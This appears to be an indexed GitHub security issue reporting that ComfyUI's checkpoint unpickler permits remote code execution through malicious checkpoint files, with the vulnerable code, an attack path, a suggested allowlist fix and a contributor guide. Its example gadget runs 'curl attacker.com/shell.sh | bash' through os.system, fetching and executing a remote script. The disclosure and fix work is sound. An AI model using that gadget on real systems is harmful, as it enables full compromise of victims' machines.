Security: Unsafe pickle deserialization allows Remote Code Execution via malicious checkpoints
- Dominant language
- Python
- Stars
- 133k
- Forks
- 15.7k
- Avg merge
- 1d 6h
- Merged PRs (30d)
- 155
Description
## Summary
The custom pickle unpickler in `comfy/checkpoint_pickle.py` provides insufficient protection against deserialization attacks, allowing Remote Code Execution when loading malicious checkpoint files.
## Vulnerability Details
**Type:** CWE-502 (Deserialization of Untrusted Data)
**Severity:** Critical
**Location:** `comfy/checkpoint_pickle.py:3-13`
## Root Cause
The `RestrictedUnpickler.find_class()` only blocks `pytorch_lightning` module but allows all other Python classes to be unpickled. This permits standard pickle RCE gadgets using `os.system`, `subprocess`, `builtins`, etc.
## Vulnerable Code
```python
class Unpickler(pickle.Unpickler):
def find_class(self, module, name):
#TODO: safe unpickle # <-- TODO indicates known issue
if module.startswith("pytorch_lightning"):
return Empty
return super().find_class(module, name) # Allows any other class
```
Also note:
```python
load = pickle.load # Direct assignment with no restrictions
```
## Attack Vector
1. Attacker creates malicious `.ckpt` or `.safetensors` file containing pickle gadget
2. User downloads checkpoint from untrusted source
3. ComfyUI loads checkpoint, triggering arbitrary code execution
## Example Gadget
```python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))
malicious_payload = pickle.dumps(RCE())
```
## Impact
- Remote Code Execution on server/workstation
- Complete system compromise
- Data theft, cryptocurrency mining, ransomware
- Supply chain attacks via shared checkpoints
## Suggested Fix
Implement a strict allowlist for unpickling:
```python
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED_MODULES = {
'torch', 'torch.nn', 'torch.nn.modules',
'numpy', 'collections', 'builtins'
}
BLOCKED_NAMES = {'eval', 'exec', 'compile', 'open', 'input', '__import__'}
def find_class(self, module, name):
if name in self.BLOCKED_NAMES:
raise pickle.UnpicklingError(f"Blocked: {name}")
if not any(module.startswith(m) for m in self.ALLOWED_MODULES):
raise pickle.UnpicklingError(f"Blocked module: {module}")
return super().find_class(module, name)
```
## Additional Recommendations
1. Default to `weights_only=True` for torch.load
2. Prefer `.safetensors` format which cannot contain executable code
3. Add warning when loading non-safetensors checkpoints
4. Consider signature verification for checkpoints
Happy to submit a PR with comprehensive fixes.
Contributor guide
Research direction
Start by reading comfy/checkpoint_pickle.py, especially Unpickler.find_class and the load assignment, then trace where checkpoint files are loaded. Reproduce the reported malicious-pickle behavior in an isolated environment and identify compatibility needs for existing checkpoints. Done means unsafe deserialization is rejected while supported checkpoint loading remains functional, with regression coverage for both cases.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python, pytorch
- Domain
- security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 35/100